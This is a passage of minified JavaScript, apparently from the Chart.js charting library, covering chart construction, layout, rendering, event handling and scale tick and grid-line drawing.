t=e.options;W.each(e.scales,(function(t){lt.removeBox(e,t)})),t=Ht(F.global,F[e.config.type],t),e.options=e.config.options=t,e.ensureScalesHaveIDs(),e.buildOrUpdateScales(),e.tooltip._options=t.tooltips,e.tooltip.initialize()}function Pt(e,t,n){var a,r=function(e){return e.id===a};do{a=t+n++}while(W.findIndex(e,r)>=0);return a}function Ft(e){return"top"===e||"bottom"===e}function It(e,t){return function(n,a){return n[e]===a[e]?n[t]-a[t]:n[e]-a[e]}}F._set("global",{elements:{},events:["mousemove","mouseout","click","touchstart","touchmove"],hover:{onHover:null,mode:"nearest",intersect:!0,animationDuration:400},onClick:null,maintainAspectRatio:!0,responsive:!0,responsiveAnimationDuration:0});var Et=function(e,t){return this.construct(e,t),this};W.extend(Et.prototype,{construct:function(e,t){var n=this;t=function(e){var t=(e=e||Object.create(null)).data=e.data||{};return t.datasets=t.datasets||[],t.labels=t.labels||[],e.options=Ht(F.global,F[e.type],e.options||{}),e}(t);var a=yt.acquireContext(e,t),r=a&&a.canvas,i=r&&r.height,s=r&&r.width;n.id=W.uid(),n.ctx=a,n.canvas=r,n.config=t,n.width=s,n.height=i,n.aspectRatio=i?s/i:null,n.options=t.options,n._bufferedRender=!1,n._layers=[],n.chart=n,n.controller=n,Et.instances[n.id]=n,Object.defineProperty(n,"data",{get:function(){return n.config.data},set:function(e){n.config.data=e}}),a&&r?(n.initialize(),n.update()):console.error("Failed to create chart: can't acquire context from the given item")},initialize:function(){var e=this;return Mt.notify(e,"beforeInit"),W.retinaScale(e,e.options.devicePixelRatio),e.bindEvents(),e.options.responsive&&e.resize(!0),e.initToolTip(),Mt.notify(e,"afterInit"),e},clear:function(){return W.canvas.clear(this),this},stop:function(){return $.cancelAnimation(this),this},resize:function(e){var t=this,n=t.options,a=t.canvas,r=n.maintainAspectRatio&&t.aspectRatio||null,i=Math.max(0,Math.floor(W.getMaximumWidth(a))),s=Math.max(0,Math.floor(r?i/r:W.getMaximumHeight(a)));if((t.width!==i||t.height!==s)&&(a.width=t.width=i,a.height=t.height=s,a.style.width=i+"px",a.style.height=s+"px",W.retinaScale(t,n.devicePixelRatio),!e)){var o={width:i,height:s};Mt.notify(t,"resize",[o]),n.onResize&&n.onResize(t,o),t.stop(),t.update({duration:n.responsiveAnimationDuration})}},ensureScalesHaveIDs:function(){var e=this.options,t=e.scales||{},n=e.scale;W.each(t.xAxes,(function(e,n){e.id||(e.id=Pt(t.xAxes,"x-axis-",n))})),W.each(t.yAxes,(function(e,n){e.id||(e.id=Pt(t.yAxes,"y-axis-",n))})),n&&(n.id=n.id||"scale")},buildOrUpdateScales:function(){var e=this,t=e.options,n=e.scales||{},a=[],r=Object.keys(n).reduce((function(e,t){return e[t]=!1,e}),{});t.scales&&(a=a.concat((t.scales.xAxes||[]).map((function(e){return{options:e,dtype:"category",dposition:"bottom"}})),(t.scales.yAxes||[]).map((function(e){return{options:e,dtype:"linear",dposition:"left"}})))),t.scale&&a.push({options:t.scale,dtype:"radialLinear",isDefault:!0,dposition:"chartArea"}),W.each(a,(function(t){var a=t.options,i=a.id,s=jt(a.type,t.dtype);Ft(a.position)!==Ft(t.dposition)&&(a.position=t.dposition),r[i]=!0;var o=null;if(i in n&&n[i].type===s)(o=n[i]).options=a,o.ctx=e.ctx,o.chart=e;else{var l=vt.getScaleConstructor(s);if(!l)return;o=new l({id:i,type:s,options:a,ctx:e.ctx,chart:e}),n[o.id]=o}o.mergeTicksOptions(),t.isDefault&&(e.scale=o)})),W.each(r,(function(e,t){e||delete n[t]})),e.scales=n,vt.addScalesToLayout(this)},buildOrUpdateControllers:function(){var e,t,n=this,a=[],r=n.data.datasets;for(e=0,t=r.length;e<t;e++){var i=r[e],s=n.getDatasetMeta(e),o=i.type||n.config.type;if(s.type&&s.type!==o&&(n.destroyDatasetMeta(e),s=n.getDatasetMeta(e)),s.type=o,s.order=i.order||0,s.index=e,s.controller)s.controller.updateIndex(e),s.controller.linkScales();else{var l=Be[s.type];if(void 0===l)throw new Error('"'+s.type+'" is not a chart type.');s.controller=new l(n,e),a.push(s.controller)}}return a},resetElements:function(){var e=this;W.each(e.data.datasets,(function(t,n){e.getDatasetMeta(n).controller.reset()}),e)},reset:function(){this.resetElements(),this.tooltip.initialize()},update:function(e){var t,n,a=this;if(e&&"object"==typeof e||(e={duration:e,lazy:arguments[1]}),At(a),Mt._invalidate(a),!1!==Mt.notify(a,"beforeUpdate")){a.tooltip._data=a.data;var r=a.buildOrUpdateControllers();for(t=0,n=a.data.datasets.length;t<n;t++)a.getDatasetMeta(t).controller.buildOrUpdateElements();a.updateLayout(),a.options.animation&&a.options.animation.duration&&W.each(r,(function(e){e.reset()})),a.updateDatasets(),a.tooltip.initialize(),a.lastActive=[],Mt.notify(a,"afterUpdate"),a._layers.sort(It("z","_idx")),a._bufferedRender?a._bufferedRequest={duration:e.duration,easing:e.easing,lazy:e.lazy}:a.render(e)}},updateLayout:function(){var e=this;!1!==Mt.notify(e,"beforeLayout")&&(lt.update(this,this.width,this.height),e._layers=[],W.each(e.boxes,(function(t){t._configure&&t._configure(),e._layers.push.apply(e._layers,t._layers())}),e),e._layers.forEach((function(e,t){e._idx=t})),Mt.notify(e,"afterScaleUpdate"),Mt.notify(e,"afterLayout"))},updateDatasets:function(){if(!1!==Mt.notify(this,"beforeDatasetsUpdate")){for(var e=0,t=this.data.datasets.length;e<t;++e)this.updateDataset(e);Mt.notify(this,"afterDatasetsUpdate")}},updateDataset:function(e){var t=this.getDatasetMeta(e),n={meta:t,index:e};!1!==Mt.notify(this,"beforeDatasetUpdate",[n])&&(t.controller._update(),Mt.notify(this,"afterDatasetUpdate",[n]))},render:function(e){var t=this;e&&"object"==typeof e||(e={duration:e,lazy:arguments[1]});var n=t.options.animation,a=jt(e.duration,n&&n.duration),r=e.lazy;if(!1!==Mt.notify(t,"beforeRender")){var i=function(e){Mt.notify(t,"afterRender"),W.callback(n&&n.onComplete,[e],t)};if(n&&a){var s=new U({numSteps:a/16.66,easing:e.easing||n.easing,render:function(e,t){var n=t.currentStep,a=n/t.numSteps;e.draw((0,W.easing.effects[t.easing])(a),a,n)},onAnimationProgress:n.onProgress,onAnimationComplete:i});$.addAnimation(t,s,a,r)}else t.draw(),i(new U({numSteps:0,chart:t}));return t}},draw:function(e){var t,n,a=this;if(a.clear(),W.isNullOrUndef(e)&&(e=1),a.transition(e),!(a.width<=0||a.height<=0)&&!1!==Mt.notify(a,"beforeDraw",[e])){for(n=a._layers,t=0;t<n.length&&n[t].z<=0;++t)n[t].draw(a.chartArea);for(a.drawDatasets(e);t<n.length;++t)n[t].draw(a.chartArea);a._drawTooltip(e),Mt.notify(a,"afterDraw",[e])}},transition:function(e){for(var t=0,n=(this.data.datasets||[]).length;t<n;++t)this.isDatasetVisible(t)&&this.getDatasetMeta(t).controller.transition(e);this.tooltip.transition(e)},_getSortedDatasetMetas:function(e){var t,n,a=[];for(t=0,n=(this.data.datasets||[]).length;t<n;++t)e&&!this.isDatasetVisible(t)||a.push(this.getDatasetMeta(t));return a.sort(It("order","index")),a},_getSortedVisibleDatasetMetas:function(){return this._getSortedDatasetMetas(!0)},drawDatasets:function(e){var t,n;if(!1!==Mt.notify(this,"beforeDatasetsDraw",[e])){for(n=(t=this._getSortedVisibleDatasetMetas()).length-1;n>=0;--n)this.drawDataset(t[n],e);Mt.notify(this,"afterDatasetsDraw",[e])}},drawDataset:function(e,t){var n={meta:e,index:e.index,easingValue:t};!1!==Mt.notify(this,"beforeDatasetDraw",[n])&&(e.controller.draw(t),Mt.notify(this,"afterDatasetDraw",[n]))},_drawTooltip:function(e){var t=this.tooltip,n={tooltip:t,easingValue:e};!1!==Mt.notify(this,"beforeTooltipDraw",[n])&&(t.draw(),Mt.notify(this,"afterTooltipDraw",[n]))},getElementAtEvent:function(e){return Xe.modes.single(this,e)},getElementsAtEvent:function(e){return Xe.modes.label(this,e,{intersect:!0})},getElementsAtXAxis:function(e){return Xe.modes["x-axis"](this,e,{intersect:!0})},getElementsAtEventForMode:function(e,t,n){var a=Xe.modes[t];return"function"==typeof a?a(this,e,n):[]},getDatasetAtEvent:function(e){return Xe.modes.dataset(this,e,{intersect:!0})},getDatasetMeta:function(e){var t=this.data.datasets[e];t._meta||(t._meta={});var n=t._meta[this.id];return n||(n=t._meta[this.id]={type:null,data:[],dataset:null,controller:null,hidden:null,xAxisID:null,yAxisID:null,order:t.order||0,index:e}),n},getVisibleDatasetCount:function(){for(var e=0,t=0,n=this.data.datasets.length;t<n;++t)this.isDatasetVisible(t)&&e++;return e},isDatasetVisible:function(e){var t=this.getDatasetMeta(e);return"boolean"==typeof t.hidden?!t.hidden:!this.data.datasets[e].hidden},generateLegend:function(){return this.options.legendCallback(this)},destroyDatasetMeta:function(e){var t=this.id,n=this.data.datasets[e],a=n._meta&&n._meta[t];a&&(a.controller.destroy(),delete n._meta[t])},destroy:function(){var e,t,n=this,a=n.canvas;for(n.stop(),e=0,t=n.data.datasets.length;e<t;++e)n.destroyDatasetMeta(e);a&&(n.unbindEvents(),W.canvas.clear(n),yt.releaseContext(n.ctx),n.canvas=null,n.ctx=null),Mt.notify(n,"destroy"),delete Et.instances[n.id]},toBase64Image:function(){return this.canvas.toDataURL.apply(this.canvas,arguments)},initToolTip:function(){var e=this;e.tooltip=new Ct({_chart:e,_chartInstance:e,_data:e.data,_options:e.options.tooltips},e)},bindEvents:function(){var e=this,t=e._listeners={},n=function(){e.eventHandler.apply(e,arguments)};W.each(e.options.events,(function(a){yt.addEventListener(e,a,n),t[a]=n})),e.options.responsive&&(n=function(){e.resize()},yt.addEventListener(e,"resize",n),t.resize=n)},unbindEvents:function(){var e=this,t=e._listeners;t&&(delete e._listeners,W.each(t,(function(t,n){yt.removeEventListener(e,n,t)})))},updateHoverStyle:function(e,t,n){var a,r,i,s=n?"set":"remove";for(r=0,i=e.length;r<i;++r)(a=e[r])&&this.getDatasetMeta(a._datasetIndex).controller[s+"HoverStyle"](a);"dataset"===t&&this.getDatasetMeta(e[0]._datasetIndex).controller["_"+s+"DatasetHoverStyle"]()},eventHandler:function(e){var t=this,n=t.tooltip;if(!1!==Mt.notify(t,"beforeEvent",[e])){t._bufferedRender=!0,t._bufferedRequest=null;var a=t.handleEvent(e);n&&(a=n._start?n.handleEvent(e):a|n.handleEvent(e)),Mt.notify(t,"afterEvent",[e]);var r=t._bufferedRequest;return r?t.render(r):a&&!t.animating&&(t.stop(),t.render({duration:t.options.hover.animationDuration,lazy:!0})),t._bufferedRender=!1,t._bufferedRequest=null,t}},handleEvent:function(e){var t,n=this,a=n.options||{},r=a.hover;return n.lastActive=n.lastActive||[],n.active="mouseout"===e.type?[]:n.getElementsAtEventForMode(e,r.mode,r),W.callback(a.onHover||a.hover.onHover,[e.native,n.active],n),"mouseup"!==e.type&&"click"!==e.type||a.onClick&&a.onClick.call(n,e.native,n.active),n.lastActive.length&&n.updateHoverStyle(n.lastActive,r.mode,!1),n.active.length&&r.mode&&n.updateHoverStyle(n.active,r.mode,!0),t=!W.arrayEquals(n.active,n.lastActive),n.lastActive=n.active,t}}),Et.instances={};var Rt=Et;function Nt(){throw new Error("This method is not implemented: either no adapter can be found or an incomplete integration was provided.")}function Wt(e){this.options=e||{}}Et.Controller=Et,Et.types={},W.configMerge=Ht,W.scaleMerge=Ot,W.extend(Wt.prototype,{formats:Nt,parse:Nt,format:Nt,add:Nt,diff:Nt,startOf:Nt,endOf:Nt,_create:function(e){return e}}),Wt.override=function(e){W.extend(Wt.prototype,e)};var zt={_date:Wt},Vt={formatters:{values:function(e){return W.isArray(e)?e:""+e},linear:function(e,t,n){var a=n.length>3?n[2]-n[1]:n[1]-n[0];Math.abs(a)>1&&e!==Math.floor(e)&&(a=e-Math.floor(e));var r=W.log10(Math.abs(a)),i="";if(0!==e)if(Math.max(Math.abs(n[0]),Math.abs(n[n.length-1]))<1e-4){var s=W.log10(Math.abs(e)),o=Math.floor(s)-Math.floor(r);o=Math.max(Math.min(o,20),0),i=e.toExponential(o)}else{var l=-1*Math.floor(r);l=Math.max(Math.min(l,20),0),i=e.toFixed(l)}else i="0";return i},logarithmic:function(e,t,n){var a=e/Math.pow(10,Math.floor(W.log10(e)));return 0===e?"0":1===a||2===a||5===a||0===t||t===n.length-1?e.toExponential():""}}},qt=W.isArray,Bt=W.isNullOrUndef,Gt=W.valueOrDefault,Jt=W.valueAtIndexOrDefault;function Ut(e,t,n){var a,r=e.getTicks().length,i=Math.min(t,r-1),s=e.getPixelForTick(i),o=e._startPixel,l=e._endPixel;if(!(n&&(a=1===r?Math.max(s-o,l-s):0===t?(e.getPixelForTick(1)-s)/2:(s-e.getPixelForTick(i-1))/2,(s+=i<t?a:-a)<o-1e-6||s>l+1e-6)))return s}function $t(e){return e.drawTicks?e.tickMarkLength:0}function Kt(e){var t,n;return e.display?(t=W.options._parseFont(e),n=W.options.toPadding(e.padding),t.lineHeight+n.height):0}function Zt(e,t){return W.extend(W.options._parseFont({fontFamily:Gt(t.fontFamily,e.fontFamily),fontSize:Gt(t.fontSize,e.fontSize),fontStyle:Gt(t.fontStyle,e.fontStyle),lineHeight:Gt(t.lineHeight,e.lineHeight)}),{color:W.options.resolve([t.fontColor,e.fontColor,F.global.defaultFontColor])})}function Xt(e){var t=Zt(e,e.minor);return{minor:t,major:e.major.enabled?Zt(e,e.major):t}}function Qt(e){var t,n,a,r=[];for(n=0,a=e.length;n<a;++n)void 0!==(t=e[n])._index&&r.push(t);return r}function en(e,t,n,a){var r,i,s,o,l=Gt(n,0),d=Math.min(Gt(a,e.length),e.length),u=0;for(t=Math.ceil(t),a&&(t=(r=a-n)/Math.floor(r/t)),o=l;o<0;)u++,o=Math.round(l+u*t);for(i=Math.max(l,0);i<d;i++)s=e[i],i===o?(s._index=i,u++,o=Math.round(l+u*t)):delete s.label}F._set("scale",{display:!0,position:"left",offset:!1,gridLines:{display:!0,color:"rgba(0,0,0,0.1)",lineWidth:1,drawBorder:!0,drawOnChartArea:!0,drawTicks:!0,tickMarkLength:10,zeroLineWidth:1,zeroLineColor:"rgba(0,0,0,0.25)",zeroLineBorderDash:[],zeroLineBorderDashOffset:0,offsetGridLines:!1,borderDash:[],borderDashOffset:0},scaleLabel:{display:!1,labelString:"",padding:{top:4,bottom:4}},ticks:{beginAtZero:!1,minRotation:0,maxRotation:50,mirror:!1,padding:0,reverse:!1,display:!0,autoSkip:!0,autoSkipPadding:0,labelOffset:0,callback:Vt.formatters.values,minor:{},major:{}}});var tn=G.extend({zeroLineIndex:0,getPadding:function(){return{left:this.paddingLeft||0,top:this.paddingTop||0,right:this.paddingRight||0,bottom:this.paddingBottom||0}},getTicks:function(){return this._ticks},_getLabels:function(){var e=this.chart.data;return this.options.labels||(this.isHorizontal()?e.xLabels:e.yLabels)||e.labels||[]},mergeTicksOptions:function(){},beforeUpdate:function(){W.callback(this.options.beforeUpdate,[this])},update:function(e,t,n){var a,r,i,s,o,l=this,d=l.options.ticks,u=d.sampleSize;if(l.beforeUpdate(),l.maxWidth=e,l.maxHeight=t,l.margins=W.extend({left:0,right:0,top:0,bottom:0},n),l._ticks=null,l.ticks=null,l._labelSizes=null,l._maxLabelLines=0,l.longestLabelWidth=0,l.longestTextCache=l.longestTextCache||{},l._gridLineItems=null,l._labelItems=null,l.beforeSetDimensions(),l.setDimensions(),l.afterSetDimensions(),l.beforeDataLimits(),l.determineDataLimits(),l.afterDataLimits(),l.beforeBuildTicks(),s=l.buildTicks()||[],(!(s=l.afterBuildTicks(s)||s)||!s.length)&&l.ticks)for(s=[],a=0,r=l.ticks.length;a<r;++a)s.push({value:l.ticks[a],major:!1});return l._ticks=s,i=l._convertTicksToLabels((o=u<s.length)?function(e,t){for(var n=[],a=e.length/t,r=0,i=e.length;r<i;r+=a)n.push(e[Math.floor(r)]);return n}(s,u):s),l._configure(),l.beforeCalculateTickRotation(),l.calculateTickRotation(),l.afterCalculateTickRotation(),l.beforeFit(),l.fit(),l.afterFit(),l._ticksToDraw=d.display&&(d.autoSkip||"auto"===d.source)?l._autoSkip(s):s,o&&(i=l._convertTicksToLabels(l._ticksToDraw)),l.ticks=i,l.afterUpdate(),l.minSize},_configure:function(){var e,t,n=this,a=n.options.ticks.reverse;n.isHorizontal()?(e=n.left,t=n.right):(e=n.top,t=n.bottom,a=!a),n._startPixel=e,n._endPixel=t,n._reversePixels=a,n._length=t-e},afterUpdate:function(){W.callback(this.options.afterUpdate,[this])},beforeSetDimensions:function(){W.callback(this.options.beforeSetDimensions,[this])},setDimensions:function(){var e=this;e.isHorizontal()?(e.width=e.maxWidth,e.left=0,e.right=e.width):(e.height=e.maxHeight,e.top=0,e.bottom=e.height),e.paddingLeft=0,e.paddingTop=0,e.paddingRight=0,e.paddingBottom=0},afterSetDimensions:function(){W.callback(this.options.afterSetDimensions,[this])},beforeDataLimits:function(){W.callback(this.options.beforeDataLimits,[this])},determineDataLimits:W.noop,afterDataLimits:function(){W.callback(this.options.afterDataLimits,[this])},beforeBuildTicks:function(){W.callback(this.options.beforeBuildTicks,[this])},buildTicks:W.noop,afterBuildTicks:function(e){var t=this;return qt(e)&&e.length?W.callback(t.options.afterBuildTicks,[t,e]):(t.ticks=W.callback(t.options.afterBuildTicks,[t,t.ticks])||t.ticks,e)},beforeTickToLabelConversion:function(){W.callback(this.options.beforeTickToLabelConversion,[this])},convertTicksToLabels:function(){var e=this.options.ticks;this.ticks=this.ticks.map(e.userCallback||e.callback,this)},afterTickToLabelConversion:function(){W.callback(this.options.afterTickToLabelConversion,[this])},beforeCalculateTickRotation:function(){W.callback(this.options.beforeCalculateTickRotation,[this])},calculateTickRotation:function(){var e,t,n,a,r,i,s,o=this,l=o.options,d=l.ticks,u=o.getTicks().length,c=d.minRotation||0,h=d.maxRotation,m=c;!o._isVisible()||!d.display||c>=h||u<=1||!o.isHorizontal()?o.labelRotation=c:(t=(e=o._getLabelSizes()).widest.width,n=e.highest.height-e.highest.offset,a=Math.min(o.maxWidth,o.chart.width-t),t+6>(r=l.offset?o.maxWidth/u:a/(u-1))&&(r=a/(u-(l.offset?.5:1)),i=o.maxHeight-$t(l.gridLines)-d.padding-Kt(l.scaleLabel),s=Math.sqrt(t*t+n*n),m=W.toDegrees(Math.min(Math.asin(Math.min((e.highest.height+6)/r,1)),Math.asin(Math.min(i/s,1))-Math.asin(n/s))),m=Math.max(c,Math.min(h,m))),o.labelRotation=m)},afterCalculateTickRotation:function(){W.callback(this.options.afterCalculateTickRotation,[this])},beforeFit:function(){W.callback(this.options.beforeFit,[this])},fit:function(){var e=this,t=e.minSize={width:0,height:0},n=e.chart,a=e.options,r=a.ticks,i=a.scaleLabel,s=a.gridLines,o=e._isVisible(),l="bottom"===a.position,d=e.isHorizontal();if(d?t.width=e.maxWidth:o&&(t.width=$t(s)+Kt(i)),d?o&&(t.height=$t(s)+Kt(i)):t.height=e.maxHeight,r.display&&o){var u=Xt(r),c=e._getLabelSizes(),h=c.first,m=c.last,_=c.widest,f=c.highest,p=.4*u.minor.lineHeight,g=r.padding;if(d){var b=0!==e.labelRotation,y=W.toRadians(e.labelRotation),M=Math.cos(y),v=Math.sin(y);t.height=Math.min(e.maxHeight,t.height+(v*_.width+M*(f.height-(b?f.offset:0))+(b?0:p))+g);var L,k,w=e.getPixelForTick(0)-e.left,x=e.right-e.getPixelForTick(e.getTicks().length-1);b?(L=l?M*h.width+v*h.offset:v*(h.height-h.offset),k=l?v*(m.height-m.offset):M*m.width+v*m.offset):(L=h.width/2,k=m.width/2),e.paddingLeft=Math.max((L-w)*e.width/(e.width-w),0)+3,e.paddingRight=Math.max((k-x)*e.width/(e.width-x),0)+3}else t.width=Math.min(e.maxWidth,t.width+(r.mirror?0:_.width+g+p)),e.paddingTop=h.height/2,e.paddingBottom=m.height/2}e.handleMargins(),d?(e.width=e._length=n.width-e.margins.left-e.margins.right,e.height=t.height):(e.width=t.width,e.height=e._length=n.height-e.margins.top-e.margins.bottom)},handleMargins:function(){var e=this;e.margins&&(e.margins.left=Math.max(e.paddingLeft,e.margins.left),e.margins.top=Math.max(e.paddingTop,e.margins.top),e.margins.right=Math.max(e.paddingRight,e.margins.right),e.margins.bottom=Math.max(e.paddingBottom,e.margins.bottom))},afterFit:function(){W.callback(this.options.afterFit,[this])},isHorizontal:function(){var e=this.options.position;return"top"===e||"bottom"===e},isFullWidth:function(){return this.options.fullWidth},getRightValue:function(e){if(Bt(e))return NaN;if(("number"==typeof e||e instanceof Number)&&!isFinite(e))return NaN;if(e)if(this.isHorizontal()){if(void 0!==e.x)return this.getRightValue(e.x)}else if(void 0!==e.y)return this.getRightValue(e.y);return e},_convertTicksToLabels:function(e){var t,n,a,r=this;for(r.ticks=e.map((function(e){return e.value})),r.beforeTickToLabelConversion(),t=r.convertTicksToLabels(e)||r.ticks,r.afterTickToLabelConversion(),n=0,a=e.length;n<a;++n)e[n].label=t[n];return t},_getLabelSizes:function(){var e=this,t=e._labelSizes;return t||(e._labelSizes=t=function(e,t,n,a){var r,i,s,o,l,d,u,c,h,m,_,f,p,g=n.length,b=[],y=[],M=[],v=0,L=0;for(r=0;r<g;++r){if(o=n[r].label,e.font=d=(l=n[r].major?t.major:t.minor).string,u=a[d]=a[d]||{data:{},gc:[]},c=l.lineHeight,h=m=0,Bt(o)||qt(o)){if(qt(o))for(i=0,s=o.length;i<s;++i)Bt(_=o[i])||qt(_)||(h=W.measureText(e,u.data,u.gc,h,_),m+=c)}else h=W.measureText(e,u.data,u.gc,h,o),m=c;b.push(h),y.push(m),M.push(c/2),v=Math.max(h,v),L=Math.max(m,L)}function k(e){return{width:b[e]||0,height:y[e]||0,offset:M[e]||0}}return function(e,t){W.each(e,(function(e){var n,a=e.gc,r=a.length/2;if(r>t){for(n=0;n<r;++n)delete e.data[a[n]];a.splice(0,r)}}))}(a,g),f=b.indexOf(v),p=y.indexOf(L),{first:k(0),last:k(g-1),widest:k(f),highest:k(p)}}(e.ctx,Xt(e.options.ticks),e.getTicks(),e.longestTextCache),e.longestLabelWidth=t.widest.width),t},_parseValue:function(e){var t,n,a,r;return qt(e)?(t=+this.getRightValue(e[0]),n=+this.getRightValue(e[1]),a=Math.min(t,n),r=Math.max(t,n)):(t=void 0,n=e=+this.getRightValue(e),a=e,r=e),{min:a,max:r,start:t,end:n}},_getScaleLabel:function(e){var t=this._parseValue(e);return void 0!==t.start?"["+t.start+", "+t.end+"]":+this.getRightValue(e)},getLabelForIndex:W.noop,getPixelForValue:W.noop,getValueForPixel:W.noop,getPixelForTick:function(e){var t=this.options.offset,n=this._ticks.length,a=1/Math.max(n-(t?0:1),1);return e<0||e>n-1?null:this.getPixelForDecimal(e*a+(t?a/2:0))},getPixelForDecimal:function(e){return this._reversePixels&&(e=1-e),this._startPixel+e*this._length},getDecimalForPixel:function(e){var t=(e-this._startPixel)/this._length;return this._reversePixels?1-t:t},getBasePixel:function(){return this.getPixelForValue(this.getBaseValue())},getBaseValue:function(){var e=this.min,t=this.max;return this.beginAtZero?0:e<0&&t<0?t:e>0&&t>0?e:0},_autoSkip:function(e){var t,n,a,r,i=this.options.ticks,s=i.maxTicksLimit||this._length/this._tickSize()+1,o=i.major.enabled?function(e){var t,n,a=[];for(t=0,n=e.length;t<n;t++)e[t].major&&a.push(t);return a}(e):[],l=o.length,d=o[0],u=o[l-1];if(l>s)return function(e,t,n){var a,r,i=0,s=t[0];for(n=Math.ceil(n),a=0;a<e.length;a++)r=e[a],a===s?(r._index=a,s=t[++i*n]):delete r.label}(e,o,l/s),Qt(e);if(a=function(e,t,n,a){var r,i,s,o,l=function(e){var t,n,a=e.length;if(a<2)return!1;for(n=e[0],t=1;t<a;++t)if(e[t]-e[t-1]!==n)return!1;return n}(e),d=(t.length-1)/a;if(!l)return Math.max(d,1);for(s=0,o=(r=W.math._factorize(l)).length-1;s<o;s++)if((i=r[s])>d)return i;return Math.max(d,1)}(o,e,0,s),l>0){for(t=0,n=l-1;t<n;t++)en(e,a,o[t],o[t+1]);return en(e,a,W.isNullOrUndef(r=l>1?(u-d)/(l-1):null)?0:d-r,d),en(e,a,u,W.isNullOrUndef(r)?e.length:u+r),Qt(e)}return en(e,a),Qt(e)},_tickSize:function(){var e=this.options.ticks,t=W.toRadians(this.labelRotation),n=Math.abs(Math.cos(t)),a=Math.abs(Math.sin(t)),r=this._getLabelSizes(),i=e.autoSkipPadding||0,s=r?r.widest.width+i:0,o=r?r.highest.height+i:0;return this.isHorizontal()?o*n>s*a?s/n:o/a:o*a<s*n?o/n:s/a},_isVisible:function(){var e,t,n,a=this.chart,r=this.options.display;if("auto"!==r)return!!r;for(e=0,t=a.data.datasets.length;e<t;++e)if(a.isDatasetVisible(e)&&((n=a.getDatasetMeta(e)).xAxisID===this.id||n.yAxisID===this.id))return!0;return!1},_computeGridLineItems:function(e){var t,n,a,r,i,s,o,l,d,u,c,h,m,_,f,p,g,b=this,y=b.chart,M=b.options,v=M.gridLines,L=M.position,k=v.offsetGridLines,w=b.isHorizontal(),x=b._ticksToDraw,D=x.length+(k?1:0),Y=$t(v),T=[],S=v.drawBorder?Jt(v.lineWidth,0,0):0,C=S/2,j=W._alignPixel,O=function(e){return j(y,e,S)};for("top"===L?(t=O(b.bottom),o=b.bottom-Y,d=t-C,c=O(e.top)+C,m=e.bottom):"bottom"===L?(t=O(b.top),c=e.top,m=O(e.bottom)-C,o=t+C,d=b.top+Y):"left"===L?(t=O(b.right),s=b.right-Y,l=t-C,u=O(e.left)+C,h=e.right):(t=O(b.left),u=e.left,h=O(e.right)-C,s=t+C,l=b.left+Y),n=0;n<D;++n)Bt((a=x[n]||{}).label)&&n<x.length||(n===b.zeroLineIndex&&M.offset===k?(_=v.zeroLineWidth,f=v.zeroLineColor,p=v.zeroLineBorderDash||[],g=v.zeroLineBorderDashOffset||0):(_=Jt(v.lineWidth,n,1),f=Jt(v.color,n,"rgba(0,0,0,0.1)"),p=v.borderDash||[],g=v.borderDashOffset||0),void 0!==(r=Ut(b,a._index||n,k))&&(i=j(y,r,_),w?s=l=u=h=i:o=d=c=m=i,T.push({tx1:s,ty1:o,tx2:l,ty2:d,x1:u,y1:c,x2:h,y2:m,width:_,color:f,borderDash:p,borderDashOffset:g})));return T.ticksLength=D,T.borderValue=t,T},_computeLabelItems:function(){var e,t,n,a,r,i,s,o,l,d,u,c,h=this,m=h.options,_=m.ticks,f=m.position,p=_.mirror,g=h.isHorizontal(),b=h._ticksToDraw,y=Xt(_),M=_.padding,v=$t(m.gridLines),L=-W.toRadians(h.labelRotation),k=[];for("top"===f?(i=h.bottom-v-M,s=L?"left":"center"):"bottom"===f?(i=h.top+v+M,s=L?"right":"center"):"left"===f?(r=h.right-(p?0:v)-M,s=p?"left":"right"):(r=h.left+(p?0:v)+M,s=p?"right":"left"),e=0,t=b.length;e<t;++e)Bt(a=(n=b[e]).label)||(o=h.getPixelForTick(n._index||e)+_.labelOffset,d=(l=n.major?y.major:y.minor).lineHeight,u=qt(a)?a.length:1,g?(r=o,c="top"===f?((L?1:.5)-u)*d:(L?0:.5)*d):(i=o,c=(1-u)*d/2),k.push({x:r,y:i,rotation:L,label:a,font:l,textOffset:c,textAlign:s}));return k},_drawGrid:function(e){var t=this,n=t.options.gridLines;if(n.display){var a,r,i,s,o,l=t.ctx,d=t.chart,u=W._alignPixel,c=n.drawBorder?Jt(n.lineWidth,0,0):0,h=t._gridLineItems||(t._gridLineItems=t._computeGridLineItems(e));for(i=0,s=h.length;i<s;++i)r=(o=h[i]).color,(a=o.width)&&r&&(l.save(),l.lineWidth=a,l.strokeStyle=r,l.setLineDash&&(l.setLineDash(o.borderDash),l.lineDashOffset=o.borderDashOffset),l.beginPath(),n.drawTicks&&(l.moveTo(o.tx1,o.ty1),l.lineTo(o.tx2,o.ty2)),n.drawOnChartArea&&(l.moveTo(o.x1,o.y1),l.lineTo(o.x2,o.y2)),l.stroke(),l.restore());if(c){var m,_,f,p,g=c,b=Jt(n.lineWidth,h.ticksLength-1,1),y=h.borderValue;t.isHorizontal()?(m=u(d,t.left,g)-g/2,_=u(d,t.right,b)+b/2,f=p=y):(f=u(d,t.top,g)-g/2,p=u(d,t.bottom,b)+b/2,m=_=y),l.lineWidth=c,l.strokeStyle=Jt(n.color,0),l.beginPath(),l.moveTo(m,f),l.lineTo(_,p),l.stroke()}}},_drawLabels:function(){var e=this;if(e.options.ticks.display){var t,n,a,r,i,s,o,l,d=e.ctx,u=e._labelItems||(e._labelItems=e._computeLabelItems());for(t=0,a=u.length;t<a;++t){if(s=(i=u[t]).font,d.save(),d.translate(i.x,i.y),d.rotate(i.rotation),d.font=s.string,d.fillStyle=s.color,d.textBaseline="middle",d.textAlign=i.textAlign,l=i.textOffset,qt(o=i.label))for(n=0,r=o.length;n<r;++n)d.fillText(""+o[n],0,l),l+=s.lineHeight;else d.fillText(o,0,l);d.restore()}}},_drawTitle:function(){var e=this,t=e.ctx,n=e.options,a=n.scaleLabel;if(a.display){var r,i,s=Gt(a.fontColor,F.global.defaultFontColor),o=W.options._parseFont(a),l=W.options.toPadding(a.padding),d=o.lineHeight/2,u=n.position,c=0;if(e.isHorizontal())r=e.left+e.width/2,i="bottom"===u?e.bottom-d-l.bottom:e.top+d+l.top;else{var h="left"===u;r=h?e.left+d+l.top:e.right-d-l.top,i=e.top+e.height/2,c=h?-.5*Math.PI:.5*Math.PI}t.save(),t.translate(r,i),t.rotate(c),t.textAlign="center",t.textBaseline="middle",t.fillStyle=s,t.font=o.string,t.fillText(a.labelString,0,0),t.restore()}},draw:function(e){this._isVisible()&&(this._drawGrid(e),this._drawTitle(),this._drawLabels())},_layers:function(){var 